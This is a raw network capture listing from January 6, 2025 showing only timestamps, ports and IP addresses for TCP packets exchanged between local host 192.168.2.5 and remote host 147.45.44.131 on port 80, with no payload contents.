Jan 6, 2025 07:59:03.640593052 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640607119 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640607119 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640618086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640630960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640641928 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640645981 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640670061 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640714884 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640727043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640737057 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640748978 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640760899 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640791893 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640794992 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640805960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640816927 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640818119 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640829086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640840054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640845060 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640867949 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640902042 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640913010 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640923023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640933990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640944958 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640950918 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640955925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640963078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.640969038 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.640991926 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641005993 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641016960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641026974 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641038895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641051054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641062975 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641067028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641091108 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641104937 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641119003 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641130924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641140938 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641153097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641153097 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641164064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641200066 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641258955 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641269922 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641287088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641297102 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641297102 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641305923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641318083 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641323090 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641329050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641340017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641344070 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641350985 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641360998 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641364098 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641375065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641386986 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641417027 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641426086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641437054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641454935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641465902 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641477108 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641477108 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641488075 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641499043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641499996 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641509056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641520023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641522884 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641530991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641541004 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641544104 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641571045 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641613960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641625881 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641645908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641652107 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641658068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641669035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641680002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641690016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641690016 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641700983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641710997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641716957 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641722918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641736031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641738892 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641745090 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641760111 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641783953 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641796112 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641808033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641818047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641829967 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641832113 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641839981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641851902 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641855955 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641861916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.641880989 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.641896009 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.681173086 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.684432983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.684446096 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.684458017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.684477091 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.684489012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.684493065 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.684506893 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.684509993 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.684552908 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.684571028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.725864887 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730518103 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730535984 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730557919 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730570078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730576038 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730581045 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730600119 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730609894 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730611086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730623007 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730638027 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730643988 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730679989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730683088 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730698109 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730715990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730720997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730726957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730742931 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730751991 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730753899 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730772972 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730778933 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730783939 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730798006 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730811119 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730818033 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730820894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730835915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730849028 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730855942 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730868101 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730868101 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730879068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730890989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730909109 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730923891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730931997 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730935097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730946064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730957031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730961084 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.730971098 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.730974913 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731007099 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731036901 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731048107 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731057882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731069088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731077909 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731086016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731097937 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731107950 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731112957 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731118917 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731131077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731131077 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731141090 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731152058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731161118 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731170893 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731189013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731201887 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731210947 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731224060 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731225967 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731242895 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731251955 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731260061 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731272936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731281996 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731291056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731302977 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731319904 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731323957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731334925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731345892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731345892 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731379032 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731431007 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731441975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731451988 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731470108 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731471062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731476068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731481075 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731487036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731492043 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731492996 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731522083 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731539965 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731615067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731626034 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731640100 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731650114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731651068 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731662989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731673956 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731686115 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731686115 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731697083 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731710911 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731713057 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731724977 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731753111 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731756926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731769085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731780052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731791973 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731805086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731812954 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731817007 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731828928 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731836081 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731854916 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731863022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731873989 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731884956 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731895924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731899977 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731909037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731920004 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731924057 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731933117 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.731949091 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731975079 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.731991053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732002974 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732013941 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732024908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732038021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732044935 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.732059956 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.732091904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732104063 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732115030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732129097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732130051 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.732140064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732152939 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732156038 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.732162952 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732173920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732182026 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.732204914 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.732239008 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732254982 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732266903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732275963 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.732279062 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732290030 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732296944 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.732300997 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732312918 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732323885 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732323885 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.732336998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732343912 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.732350111 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.732371092 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.772736073 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.774985075 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.774996042 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.775012970 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.775023937 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.775033951 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.775033951 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.775047064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.775079012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.775079966 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.775089979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.775103092 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.775125027 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.820919991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.820945024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.820955992 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.820986032 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.820990086 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821000099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821012020 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821029902 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821041107 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821050882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821058035 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821062088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821096897 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821120977 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821131945 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821141005 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821152925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821161032 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821170092 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821180105 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821190119 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821206093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821212053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821216106 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821218014 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821248055 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821260929 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821279049 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821290016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821300983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821312904 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821324110 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821326017 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821348906 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821357965 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821368933 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821384907 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821393013 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821394920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821408033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821419001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821419954 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821429014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:03.821449041 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:03.821460962 CET	49706	80	192.168.2.5	147.45.44.131
